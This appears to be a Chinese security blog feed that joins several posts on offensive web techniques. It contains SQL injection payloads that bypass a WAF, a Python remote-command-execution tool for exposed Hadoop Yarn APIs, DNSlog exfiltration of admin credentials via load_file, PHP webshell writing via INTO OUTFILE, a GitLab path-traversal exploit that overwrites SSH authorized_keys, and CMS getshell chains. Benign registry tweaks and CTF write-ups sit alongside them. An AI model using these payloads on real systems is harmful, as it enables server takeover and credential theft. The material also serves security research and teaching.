设计mysql数据表时,通常用户名、密码的类型为varchar或者char,可以利用Mysql varchar或char类型同数字比较的自动转换机制,构造最新过狗(安全狗V3.5.12048)新型万能密码。先上一个payload尝鲜:'|0-- --
,详细分析过程如下:
数据结构如下所示(以varchar类型为例,char类型类似),Mysql版本号:5.7.211
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20mysql> show columns from user;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(50) | NO | | NULL | |
| username | varchar(500) | NO | | NULL | |
| password | varchar(500) | NO | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.00 sec)
mysql> select * from user ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
| 3 | 3test | 3test |
| 4 | 4test | 4test |
+----+----------+----------+
4 rows in set (0.00 sec)
进行如下测试实验:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32mysql> select * from user where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from user where username=0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin |
| 2 | test | test |
+----+----------+----------+
2 rows in set, 1 warning (0.00 sec)
mysql> select * from user where username=3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 3 | 3test | 3test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)
mysql> select * from user where username=4;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 4 | 4test | 4test |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)
由结果可知,Mysql数据库中,varchar与数字比较时,会强制转换varchar为数字再进行比较(类似php语言中的intval函数处理)非数字开头的varchar字符串会转换为0再进行比较,数字开头的varchar字符串转化为开头对应数字部分的值再进行比较,所以当username和0进行比较时,会返回所有不是数字开头的结果。
一个常见的存在SQL注入的服务器,根据输入的用户名密码返回对应的用户信息,PHP代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$servername = "localhost";
$username = "root";
$password = "";
$dbname = "test";
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
$sql = "SELECT * FROM user where username='".$_GET['username']."' and password='".$_GET['password']."'" ;
var_dump($sql);
$result = $conn->query($sql);
if ($result and $result->num_rows>0) {
while($row = mysqli_fetch_assoc($result)) {
echo "id:".$row["id"]. "; username:".$row["username"]. "; password:".$row["password"]."<br>";
}
}
$conn->close();
1 | http://127.0.0.1/sql_test.php?username='|0-- --&password=1 |
1 | http://127.0.0.1/sql_test.php?username='|0 limit 0,1-- -- &password=1 |
1 | http://127.0.0.1/sql_test.php?username=admin&password='|0-- -- |
1 | http://127.0.0.1/sql_test.php?username=admin&password='|0|' |
1 | http://127.0.0.1/sql_test.php?username='%2b0-- --&password=1 |
ps:其中除法运算,除数不能为0,输入为'/1-- --
相当于0/1等于0;求余运算,底数不能为0,输入%1-- --
相当于0%1等于0。根据实际环境利用方式可自由变换
如图所示,防护日志中,逻辑||
运行会被安全狗拦截,而上面的+,-,*,/,^,|,XOR,%,=,>=,<=,<<,>>
等运算均可以完美绕过安全狗的防护。
近期入门大数据安全,分享一下Win10搭建Hadoop问题、相关安全概念和Hadoop Yarn REST API未授权命令执行漏洞
1.win10安装Hadoop集群
参考链接Step-by-step-Hadoop-2.8.0-installation-on-Window-10。
注意事项:hadoop-env.cmd文件中JAVA_HOME需要用双引号包裹,而且路径不能包括空格,否则报错:set JAVA_HOME="C:\jdk1.8.0_171"
2.Docker快速搭建Hadoop集群
1 | docker run -d -P sequenceiq/hadoop-docker |
3.Hadoop入门”hello world”之MapReduce计数案例
How to Run Hadoop wordcount MapReduce Example on Windows 10
参考链接:大数据安全白皮书
参考链接:Hadoop Yarn REST API 未授权漏洞利用挖矿分析
使用curl不是很方便,于是写一个无缝支持python2和python3的脚本进行漏洞检测.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78#!/usr/bin/python
# -*- coding:utf8 -*-
import sys
import json
import re
from optparse import OptionParser
is_py2 = (sys.version_info[0] == 2)
if is_py2:
import urllib2
else:
import urllib.request
def get_application_id(ip,port):
url='http://%s:%s/ws/v1/cluster/apps/new-application' % (ip,port)
if is_py2:
request = urllib2.Request(url=url,data="")
html = urllib2.urlopen(request)
else:
request = urllib.request.Request(url=url,data="".encode("utf-8"))
html= urllib.request.urlopen(request)
status_code=html.code
if status_code==200:
data=json.loads(html.readline())
app_id=data['application-id']
return app_id
else:
print_color('[-] Get application-id error ! ','red')
print_color(html.readline(),'red')
def excute_cmd(ip,port,command,app_id):
url='http://%s:%s/ws/v1/cluster/apps' % (ip,port)
payload={ "am-container-spec":{"commands":{"command":command}}, "application-id":app_id, "application-name":"test", "application-type":"YARN" }
if is_py2:
request = urllib2.Request(url=url,data=json.dumps(payload))
request.add_header('Content-Type', 'application/json')
html = urllib2.urlopen(request)
else:
request = urllib.request.Request(url=url,data=json.dumps(payload).encode('utf-8'))
request.add_header('Content-Type', 'application/json')
html= urllib.request.urlopen(request)
status_code=html.code
if status_code==202:
print_color('[+] The command may be executed successfully.','blue')
return app_id
else:
print_color('[-] error ! ','red')
print_color(html.readline(),'red')
def print_color(data,color="white"):
if color == 'green': print('\033[1;32m%s\033[1;m' % data)
elif color == 'blue' : print('\033[1;34m%s\033[1;m' % data)
elif color=='gray' : print('\033[1;30m%s\033[1;m' % data)
elif color=='red' : print('\033[1;31m%s\033[1;m' % data)
elif color=='yellow' : print('\033[1;33m%s\033[1;m' % data)
elif color=='magenta' : print('\033[1;35m%s\033[1;m' % data)
elif color=='cyan' : print('\033[1;36m%s\033[1;m' % data)
elif color=='white' : print('\033[1;37m%s\033[1;m' % data)
elif color=='crimson' : print('\033[1;38m%s\033[1;m' % data)
else : print(data)
logo='''An Hadoop Yarn REST API unauthorized RCE checker, which supports python2 and python3'''
def main():
print_color(logo,'green')
parser = OptionParser()
parser.add_option("--ip", dest="ip", help="IP addresses for Hadoop Yarn REST API. Ex: 127.0.0.1")
parser.add_option("-p","--port",dest="port",default="8088", help="The port for Hadoop Yarn REST API, default:8088")
parser.add_option("-c","--command", dest="command", default="whoami > /tmp/hacked.txt",help='Command to execute,default: "whoami > /tmp/hacked.txt"')
(options, args) = parser.parse_args()
if not options.ip:
parser.print_help()
exit()
app_id=get_application_id(options.ip,options.port)
excute_cmd(options.ip,options.port,options.command,app_id)
if __name__ == '__main__':
main()
提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。
一款基于python实现的批量URL在线存活检测工具,无缝自适应支持python2和python3。Github地址
An adaptive URL online checker for python2 and python3
基于python实现的批量URL在线存活检测工具
1 |
|
整理一下关于Insert和Update型SQL注入的利用方式。
int型注入点和字符型都采用按位或|
和按位异或^
获取数据。
如果拼接的值为0,可以采用按位或|
运算显示查询到的数据,如果拼接的值不是0(以100为例),可以采用按位异或^
运算显示运算后的数据,然后再异或一次可以恢复查询的数据。
注意查询到的数据经过hex转换,如果值大于Mysql bigint 最大值(9223372036854775807)时,获取到的数据均为9223372036854775807,此时要用substr等分段获取数据。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79#int型按位或
mysql> insert into ctf values (0 | (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> select * from ctf;
+----------+----------+-----------+------+
| userid | username | signature | mood |
+----------+----------+-----------+------+
| 74657374 | 0 | test | 0 |
+----------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test |
+-----------------+
1 row in set (0.00 sec)
#int型按位异或
mysql> insert into ctf values (100 ^ (select hex(database())),'0','test','0');
Query OK, 1 row affected, 1 warning (0.03 sec)
mysql> select * from ctf;
+----------+----------+-----------+------+
| userid | username | signature | mood |
+----------+----------+-----------+------+
| 74657338 | 0 | test | 0 |
+----------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(100^74657338);
+---------------------+
| unhex(100^74657338) |
+---------------------+
| test |
+---------------------+
1 row in set (0.00 sec)
#字符型按位或
mysql> insert into ctf values (100 ,'0'| (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.02 sec)
mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
| 100 | 74657374 | test | 0 |
+--------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex(74657374);
+-----------------+
| unhex(74657374) |
+-----------------+
| test |
+-----------------+
1 row in set (0.00 sec)
#字符型按位异或
mysql> insert into ctf values (100 ,'100' ^ (select hex(database())) ,'test','0');
Query OK, 1 row affected (0.03 sec)
mysql> select * from ctf;
+--------+----------+-----------+------+
| userid | username | signature | mood |
+--------+----------+-----------+------+
| 100 | 74657338 | test | 0 |
+--------+----------+-----------+------+
1 row in set (0.00 sec)
mysql> select unhex('100'^74657338);
+-----------------------+
| unhex('100'^74657338) |
+-----------------------+
| test |
+-----------------------+
1 row in set (0.00 sec)
同理可以使用其他可进行逆运算的运算符(+,-,*,/
)获取查询数据,由于逻辑运算后的结果只有1或者0,所以or,||,xor,&&,and
直接不能用于数据回显的注入情况。
可以使用 and,&&,or,||,xor
拼接sql代码。如下可以看出and,&&前面的int值不能为0;or,||前面的int值不能为1;而xor对前面int的值没有要求,所以推荐使用xor1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17mysql> insert into ctf values (0 && sleep(2),'test','test','0');
Query OK, 1 row affected (0.03 sec)
mysql> insert into ctf values (1 && sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
mysql> insert into ctf values (0 || sleep(2),'test','test','0');
Query OK, 1 row affected (2.03 sec)
mysql> insert into ctf values (1 || sleep(2),'test','test','0');
Query OK, 1 row affected (0.02 sec)
mysql> insert into ctf values (0 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.09 sec)
mysql> insert into ctf values (1 xor sleep(2),'test','test','0');
Query OK, 1 row affected (2.01 sec)
int型注入点,也可以使用四则运算:+,-,*,/
。
1 | mysql> insert into ctf values (0+sleep(2),'test','test','0'); |
此外还能使用位运算&,|
1
2
3
4
5mysql> insert into ctf values (0&sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
mysql> insert into ctf values (0|sleep(2),'test','test','0');
Query OK, 1 row affected (2.02 sec)
可以使用:or,||,xor,+,-,*,/,|,&
,字符型在进行逻辑运算时会当做0,不能使用&&,and
。
1 | mysql> insert into ctf values (0,'test' and sleep(2),'test','0'); |
1 | 1' xor load_file(concat('\\\\\\\\',(select CONCAT_WS('_',admin_id,admin_pass) from met_admin_table where id=1),'.dnslog服务器地址\\abc'))-- -' |
近期分析mysql利用报错注入读取文件内容,利用LINES TERMINATED BY在查询只返回一个字段时写webshell文件,以及如何利用load_file扫描判断文件是否存在。
注意:
FIELDS TERMINATED BY原理为在输出数据的每个字段之间插入webshell内容,所以如果select返回的只有一个字段,则写入的文件不包含webshell内容,例如下面语句SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' FIELDS TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
,写入的文件中只包含username的值而没有webshell内容;
LINES TERMINATED BY和LINES STARTING BY原理为在输出每条记录的结尾或开始处插入webshell内容,所以即使只查询一个字段也可以写入webshell内容,更为通用。此外,该类方式可以应用于limit等不能union的语句之后进行写文件操作。
1 | SELECT * FROM user WHERE id = -1 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/1.php' |
1 | SELECT * FROM user WHERE id = 1 into outfile 'D:/1.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e |
1 | SELECT username FROM user WHERE id = 1 into outfile 'D:/1.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e |
1 | SELECT username FROM user WHERE id = 1 into outfile 'D:/2.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e |
1 | SELECT * FROM user WHERE id=-1 UNION select 1,'1',(select load_file('D:/1.php')) |
1 | SELECT id FROM user WHERE id = load_file (concat('\\\\',hex((select load_file('D:/1.php'))),'.t00ls.xxxxxxxxx.tu4.org\\a.txt')) |
ps:报错注入读文件内容,有时候会由于报错长度受限或者文件编码问题,推荐采用hex编码方式分段读取文件内容
1
2
3select * from user where username = '' and updatexml(0,concat(0x7e,(LOAD_FILE('D:/1.php')),0x7e),0)
select * from user where id=1 and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))
某CMS报错注入读取文件实例1:
某CMS报错注入读取文件实例2:
原理:
load_file读取文件时,如果没有对应的权限获取或者文件不存在则函数返回NULL,所以结合isnull+load_file可以扫描判断文件名是否存在
1 | 如果文件存在,isnull(load_file('文件名'))返回0 |
某CMS报错注入扫描文件实例,存在文件C:/Windows/win.ini
某CMS报错注入扫描文件实例,不存在文件C:/Windows/passwd
可以结合burp爆破扫描文件名
基于python3实现规避防火墙的轻量级信息探测工具,Github地址
1 | ___ ___ |
首发先知论坛,通常网站后台可以配置允许上传附件的文件类型,一般登录后台,添加php类型即可上传php文件getshell。但是,随着开发者安全意识的提高,开发者可能会在代码层面强制限制php等特定文件类型的上传,有时会使用unset函数销毁删除允许上传文件类型的索引数组,如:Array(‘gif’,’jpg’,’jpeg’,’bmp’,’png’,’php’),不过错误地使用unset函数并不能到达过滤限制的效果。
问题描述:
最近在审计某CMS代码过程中,发现后台限制文件上传类型的代码如下:1
2
3
4$ext_limit = $ext_limit != '' ? parse_attr($ext_limit) : '';
foreach (['php', 'html', 'htm', 'js'] as $vo) {
unset($ext_limit[$vo]);
}
其目的是实现:获取配置中的允许上传文件类型$ext_limit并转换为数组,无论后台是否添加了php等类型文件,均强制从允许上传文件类型的数组中删除php,html,htm,js等类型。
但是由于unset函数使用不当,导致其代码无法达到该目的。具体地,执行如下代码:1
2
3
4
5
6$ext_limit = Array('gif','jpg','jpeg','bmp','png','php');
var_dump($ext_limit);
foreach (['php', 'html', 'htm', 'js'] as $vo) {
unset($ext_limit[$vo]);
}
var_dump($ext_limit);
得到输出为如下,可以看到php并没有被删除1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17D:\wamp\www\test.php:15:
array (size=6)
0 => string 'gif' (length=3)
1 => string 'jpg' (length=3)
2 => string 'jpeg' (length=4)
3 => string 'bmp' (length=3)
4 => string 'png' (length=3)
5 => string 'php' (length=3)
D:\wamp\www\test.php:19:
array (size=6)
0 => string 'gif' (length=3)
1 => string 'jpg' (length=3)
2 => string 'jpeg' (length=4)
3 => string 'bmp' (length=3)
4 => string 'png' (length=3)
5 => string 'php' (length=3)
问题分析:
unset函数的使用说明可以参考php官网,简单理解就是:unset可以销毁掉一个变量;或者根据传入的key值,销毁数组类型中指定的键值对。
针对PHP 索引数组,调用unset时必须调用其对应的数字索引才能销毁指定的键值对。所以如果传入unset函数的参数不是索引,而是其值的情况(如此处unset(‘php’)),无法销毁删除对应为php的键值对。
修改以上存在缺陷的代码为如下,主要是枚举索引数组为key=>value的形式,根据value进行比较,满足条件时将对应的key传入unset函数,从而销毁删除。1
2
3
4
5
6
7
8
9
10$ext_limit = Array('gif','jpg','jpeg','bmp','png','php');
var_dump($ext_limit);
foreach (['php', 'html', 'htm', 'js'] as $vo) {
foreach($ext_limit as $key=>$value){
if($value===$vo){
unset($ext_limit[$key]);
}
}
}
var_dump($ext_limit);
输出结果如下(php对应的键值对已被删除):1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16D:\wamp\www\test.php:15:
array (size=6)
0 => string 'gif' (length=3)
1 => string 'jpg' (length=3)
2 => string 'jpeg' (length=4)
3 => string 'bmp' (length=3)
4 => string 'png' (length=3)
5 => string 'php' (length=3)
D:\wamp\www\test.php:23:
array (size=5)
0 => string 'gif' (length=3)
1 => string 'jpg' (length=3)
2 => string 'jpeg' (length=4)
3 => string 'bmp' (length=3)
4 => string 'png' (length=3)
使用索引数组时,如果要使用unset销毁删除指定的键值对,切记采用枚举索引数组为key=>value的形式,根据value进行比较,满足条件时将对应的key传入unset函数
ps:安全问题的分析与挖掘就是一个开发者与hacker攻防较量的过程,对抗的点就是哪一方考虑的更加周全。
]]>首发于先知论坛, 近期Hackerone公开了Gitlab的任意文件写入,导致远程代码执行漏洞,实践一波。
app/services/projects/gitlab_project_import_service.rb1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24# This service is an adapter used to for the GitLab Import feature, and
# creating a project from a template.
# The latter will under the hood just import an archive supplied by GitLab.
module Projects
class GitlabProjectsImportService
# ...
def execute
FileUtils.mkdir_p(File.dirname(import_upload_path))
FileUtils.copy_entry(file.path, import_upload_path)
Gitlab::ImportExport::ProjectCreator.new(params[:namespace_id],
current_user,
import_upload_path,
params[:path]).execute
end
# ...
def tmp_filename
"#{SecureRandom.hex}_#{params[:path]}"
end
end
end
import_upload_path将未过滤的参数params[:path]添加到gitlab上传目录,导致存在目录遍历,此外由于文件内容没有限制,最终导致任意内容写入任意文件。由于默认gitlab创建并启动了git账户,该账户默认目录为/var/opt/gitlab/,修改.ssh/authorized_keys文件为攻击者的公钥,即可以git用户身份成功登录服务器,从而导致命令执行。
影响版本:
利用docker搭建gitlab1
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:10.2.4-ce.0
修改配置文件1
2
3
4
5
6
7
8
9docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb
external_url '192.168.1.100'
gitlab-ctl reconfigure
http://192.168.1.100/
本地利用ssh-keygen生成公私钥对(用于攻击替换和登录)
然后选择前面ssh-keygen生成的公钥(注意是公钥)
点击import project 后,burp修改path的值为/../../../../../../../../../var/opt/gitlab/.ssh/authorized_keys
,数据包如下
1 | POST /import/gitlab_project HTTP/1.1 |
发送请求后,使用用户名git以及生成的私钥登录gitlab服务器,如下是执行命令的demo
1 | $ id |
https://about.gitlab.com/2018/01/16/gitlab-10-dot-3-dot-4-released/
https://hackerone.com/reports/298873
nginx错误配置alias,导致存在目录遍历,可跳出限制读取上一层目录及其任意子目录的文件的任意文件。
使用richarvey/nginx-php-fpm镜像
1 | docker run -d -p 80:80 richarvey/nginx-php-fpm |
配置nginx,添加配置test路由解析到/var/www/html/
路径(注意:/test没有结尾的/
)
1 | # /etc/nginx/sites-available/default.conf |
对应Web服务的文件结构,目标是目录遍历获取flag.txt的内容
1 | |--var |
通过访问http://127.0.0.1/test/test.txt
可以成功访问到test的内容如下(/test/test.txt
路由请求,经处理后转换成:/var/www/html/test.txt
):
1 | this is a test |
1 | you get me, hahaha |
保存以下代码为cmd.reg,然后点击运行即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\shell\open_cmd]
@="Open CMD Here"
"HasLUAShield"=""
[HKEY_CLASSES_ROOT\Directory\shell\open_cmd\command]
@="cmd.exe /s /k pushd \"%V\""
[-HKEY_CLASSES_ROOT\Directory\Background\shell\open_cmd]
[HKEY_CLASSES_ROOT\Directory\Background\shell\open_cmd]
@="在此处打开CMD窗口"
"HasLUAShield"=""
"Icon"="cmd.exe"
[HKEY_CLASSES_ROOT\Directory\Background\shell\open_cmd\command]
@="cmd.exe /s /k pushd \"%V\""
[-HKEY_CLASSES_ROOT\Drive\shell\open_cmd]
[HKEY_CLASSES_ROOT\Drive\shell\open_cmd]
@="Open CMD Here"
"HasLUAShield"=""
[HKEY_CLASSES_ROOT\Drive\shell\open_cmd\command]
ps:前提是安装了Win10的ubuntu子系统或者Kali子系统
保存以下代码为bash.reg,然后点击运行即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\Directory\shell\open_bash]
@="Open Bash Here"
"HasLUAShield"=""
[HKEY_CLASSES_ROOT\Directory\shell\open_bash\command]
@="bash.exe"
[-HKEY_CLASSES_ROOT\Directory\Background\shell\open_bash]
[HKEY_CLASSES_ROOT\Directory\Background\shell\open_bash]
@="在此处打开Bash窗口"
"HasLUAShield"=""
"Icon"="bash.exe"
[HKEY_CLASSES_ROOT\Directory\Background\shell\open_bash\command]
@="bash.exe"
[-HKEY_CLASSES_ROOT\Drive\shell\open_bash]
[HKEY_CLASSES_ROOT\Drive\shell\open_bash]
@="Open Bash Here"
"HasLUAShield"=""
[HKEY_CLASSES_ROOT\Drive\shell\open_bash\command]
ps:适用于:Windows Vista, 7, 8, 10, and 2008 Server:
报错信息:
无法建立计算机与 VPN服务器之间的网络连接,因为远程服务器未响应。这可能是因为未将计算机与远程服务器之间的某种网络设备(如防火墙、NAT、路由器等)配置为容许 VPN 连接。请与管理员或服务供给商联系以确定哪种设备可能产生此问题
解决办法:
保存如下代码为ipsec.reg,然后双击运行即可1
2
3Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PolicyAgent]
"AssumeUDPEncapsulationContextOnSendRule"=dword:00000002
题目给了一张图片,用foremost提取出一张图片和加密的zip压缩包,爆破解压密码许久都没有成功,用EmEditor打开看到有字符串:Pactera,成功解压压缩包,然后根据提示需要统计字符出现次数。1
2
3
4
5
6from collections import Counter
f=open("file.txt",'r')
print(Counter(f.readlines()[0]))
#输出:
Counter({'D': 3950, 'C': 1900, 'T': 1850, 'F': 1800, '{': 1750, 'h': 1700, 'u': 1650, 'a': 1600, 'n': 1550, 'w': 1500, 'e': 1450, '1': 1400, 's': 1350, 'i': 1300, 'k': 1250, '4': 1200, 'o': 1150, '!': 1100, '}': 1050})
得到flag:DDCTF{huanwe1sik4o!}
该题使用ECB(电子密码本模式)进行加密,由于分组模式中ECB模式相同的明文分组,会得到相同密文输出。
根据这个特性,以爆破第一位为例,构造输入Agent ID 为45个1,加密消息为:1
Connection for mission: ID为111111111111111111111111111111111111111111111, your mission's flag is: D
然后加上Flag的第一位,构成96(16*6)个字符长度输入,截取密文的前192(32*6)。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17Please enter mission key:
b9ba15b341c847c8beba85273f9b7f90
#Agent ID为45个1
Please enter your Agent ID to secure communications:
#返回的欢迎加密信息,取前192位作为判断
111111111111111111111111111111111111111111111
ce62ff6f5ebd23a8d059b1bd831a8d0fed6d82e4257f35a62ef76a43970ade3e06b6e8e7589fddd8b8ac55e5c29625e906b6e8e7589fddd8b8ac55e5c29625e9eae01a76a2f84e768e4408555cb4acbf17888d387e8b7756e9a3de2a68b4fbf726b43ef60ec00ce6bfbdf91d4d9dba79bb2983e79315def49a0fa8eaa10cd4a8250e53382d70f71936a32961d5741662
Please send some messages to be encrypted, 'quit' to exit:
#猜测第一位为C
Connection for mission: 111111111111111111111111111111111111111111111, your mission's flag is: C
ce62ff6f5ebd23a8d059b1bd831a8d0fed6d82e4257f35a62ef76a43970ade3e06b6e8e7589fddd8b8ac55e5c29625e906b6e8e7589fddd8b8ac55e5c29625e9eae01a76a2f84e768e4408555cb4acbf18c2aed45181d467f22c858da3d1b03b
Please send some messages to be encrypted, 'quit' to exit:
#猜测第一位为D
Connection for mission: 111111111111111111111111111111111111111111111, your mission's flag is: D
ce62ff6f5ebd23a8d059b1bd831a8d0fed6d82e4257f35a62ef76a43970ade3e06b6e8e7589fddd8b8ac55e5c29625e906b6e8e7589fddd8b8ac55e5c29625e9eae01a76a2f84e768e4408555cb4acbf17888d387e8b7756e9a3de2a68b4fbf7
Please send some messages to be encrypted, 'quit' to exit:
当输入的最后一位为D时,加密结果和欢迎消息密文的前192位结果相同。接下来爆破Flag的第二位时,将Agent ID位数减1(44位)。依次递增Flag位数,同时递减Agent ID位数即可爆破出Flag,写个脚本。
1 | #Connection for mission: 111111111111111111111111111111111111111111111, your mission's flag is: D |
得到Flag;DDCTF{afd18f4a112ca67951fc95afb92b74d8}
]]>代码审计发现了一个基于时间延迟的SQL盲注,但是发现 sleep(2)成功获取数据时页面返回时间均为4秒,即为设置时间的两倍,所以有了下面的分析。
Mysql语句关于AND和OR执行优先级和Mysql查询优化策略有以下几点:
首先测试数据表结构和数据如下:
1 | mysql> select * from ctf; |
执行select * from ctf where mood=sleep(1),延时了3秒。
(没有限定条件,和数据表的每一条进行对比,进行了3次sleep(1)函数)
1 | mysql> select * from ctf where mood=sleep(1) ; |
执行select * from ctf where username=’test2’ and mood=sleep(1);延时1秒。
(先筛选username=’test2’,只有1条记录,进行了1次sleep(1)函数)
1 | mysql> select * from ctf where username='test2' and mood=sleep(1); |
执行 select * from ctf where userid>100 and mood=sleep(1);延时2秒。
(先筛选userid>100,有2条记录,进行了2次sleep(1)函数)
1 | mysql> select * from ctf where userid>100 and mood=sleep(1); |
select * from ctf where userid>100 and 1=2 and mood=sleep(1);没有延时直接返回空。(由于sleep之前有and 1=2,不可能成立,直接返回空,没有执行sleep(1))
1 | mysql> select * from ctf where userid>100 and 1=2 and mood=sleep(1); |
执行select * from ctf where userid>100 and 1=2 or mood=sleep(1);延时3秒
(根据优先级,先计算执行100 and 1=2,不可能成立,没有符合要求的数据记录,但是还需要判断or之后的条件,所以仍然要查询比对三次,执行3次sleep(1))
1 | mysql> select * from ctf where userid>100 and 1=2 or mood=sleep(1); |
执行select from ctf where userid>100 and 1=sleep(1) or mood=0;延时2秒,执行select from ctf where 1=sleep(1) and userid>100 or mood=0;延时3秒,两者返回结果一致,但是由于执行顺序不同,导致延时不同。(前一种情况根据优先级,执行userid>100 and 1=sleep(1),通过userid>100筛选只有两条记录,然后再sleep(1),所以只延时2秒。后一种情况,根据优先级,执行1=sleep(1) and userid>100,直接利用1=sleep(1)的条件和数据库记录对比以后,再判断userid>100的条件,要全部比对执行三次,所以延时3秒。)
1 | mysql> select * from ctf where userid>100 and 1=sleep(1) or mood=0; |
执行select * from ctf where userid>100 and 1=sleep(1) or mood=0 or 1=1;延时0秒。
(userid>100 and 1=sleep(1) or mood=0 or 1=1,在OR连接的语句中有恒成立的1=1,所以直接返回结果,没有延时。)
1 | mysql> select * from ctf where userid>100 and 1=sleep(1) or mood=0 or 1=1; |
由于MySQL的条件优先级的不同,在不同语句中执行sleep()函数导致的延迟时间(执行次数)不同,一个比较简单的判断就是,判断sleep()函数所在的点,进行数据查询时需要对比的数据记录数,即等于sleep()函数执行的次数。
]]>首发于:先知社区: 某CMS 5.X版本GETSHELL漏洞合集
2018年1月底某CMS官方隆重发布6.0版本,调整了之前“漏洞百出”的框架结构,修(杜)复(绝)了多个5.X的版本后台Gestshell漏洞。
前提:有删除/config/install.lock权限
1 |
|
删除/config/install.lock文件可以导致重装(需要由对应的删除权限),删除文件的poc如下:1
http://xxx.com/admin/app/batch/csvup.php?fileField=1_1231-1&flienamecsv=../../../config/install.lock
1 | #/install/index.php |
在数据库配置时$db_host,$db_username,$db_pass,$db_name,$db_prefix参数可控。
数据库配置时修改任意参数为*/phpinfo();/*
可导致Getshell。点击保存之后,直接访问/config/config_db.php即可getshell。
shell地址:http://xxx.com/config/config_db.php
前提:windows服务器+php版本<5.4.0
1 | #\admin\app\batch\csv.php |
(1)文件名截断+任意内容写入
将lang_langshuom参数的值经过iconv转换后直接写文件,由于PHP版本<5.4.0时,会忽略掉不认识的字符,所以可以控制文件名参数lang_langshuom生成php后缀文件,同时将lang_csvexplain1、lang_csvexplain2、lang_csvexplain3参数的内容写入文件,所以存在getshell的风险。
请求如下:1
/admin/app/batch/csv.php?lang_title=11&lang_langshuom=tmp.php%80&lang_csvexplain1=eval($_GET[1]) @
(2)条件竞争
然而由于@file_unlink(iconv($codeold,$codenew,”./{$lang_langshuom}.txt”));会删除生成的shell文件,不能手动getshell,再次分析源码发现,此处为生成了shell文件,然后再删除。所以只要在删除前请求shell生成其他文件即可,即利用条件竞争,生成持久性webshell,写脚本即可实现。
1 | 略 |
修改参数后执行效果如下:1
2python poc.py
shell @ http://127.0.0.1/某CMS 5.3.19//admin/app/batch/shell.php
ps:
利用php特性可以不用条件竞争,直接getshell1
admin/app/batch/csv.php?lang_title=11&lang_langshuom=1.php/.%80&lang_csvexplain1=eval($_GET[1]) @
前提:windows服务器+网站绝对路径(只需要知道网站index.php所在目录的上一级目录名)
/install/phpinfo.php
1 | /app/system/include/public/ui/admin/top.php |
5.3.19版本针对CVE-2017-11347的补丁分析1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31switch($val[2]){
case 1:
$address="../about/$fileaddr[1]";
break;
case 2:
$address="../news/$fileaddr[1]";
break;
case 3:
$address="../product/$fileaddr[1]";
break;
case 4:
$address="../download/$fileaddr[1]";
break;
case 5:
$address="../img/$fileaddr[1]";
break;
case 8:
$address="../feedback/$fileaddr[1]";
break;
default:
$address = "";
break;
}
$newfile ="../../../$val[1]";
if($address != ''){
Copyfile($address,$newfile);
}
}
}
